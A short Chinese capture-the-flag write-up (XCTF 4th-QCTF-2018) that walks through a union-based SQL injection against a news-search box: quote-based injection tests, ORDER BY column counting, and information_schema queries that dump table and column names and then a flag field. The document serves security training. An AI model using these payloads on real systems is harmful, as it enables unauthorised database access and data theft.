题目描述

来源:XCTF 4th-QCTF-2018

Solution

进入页面,发现是一个新闻中心,下面有新闻列表,中间有个新闻搜索框:

1.png

判断注入类型

这可能有 SQL 注入漏洞,我们尝试一下:

输入 输出
1 or 1=1 # 无新闻
1' or 1=1 # 有新闻

2.png

由此观之,这应该是字符型注入。

判断列数

输入 输出
1' or 1=1 order by 3 # 有页面
1' or 1=1 order by 4 # 无页面

由此观之,列数为 3。

联合查询

查询数据库信息

  1. 1' union select 1, version(), database() #

3.png

查询数据库中的表名

  1. 1' union select 1, 2, group_concat(table_name) from information_schema.tables where table_schema=database() #

4.png

获取表的字段描述

  1. 1' union select 1, 2, group_concat(column_name) from information_schema.columns where table_name='secret_table' #

5.png

获得表的记录

1'  union select 1, fl4g, 3 from secret_table #

6.png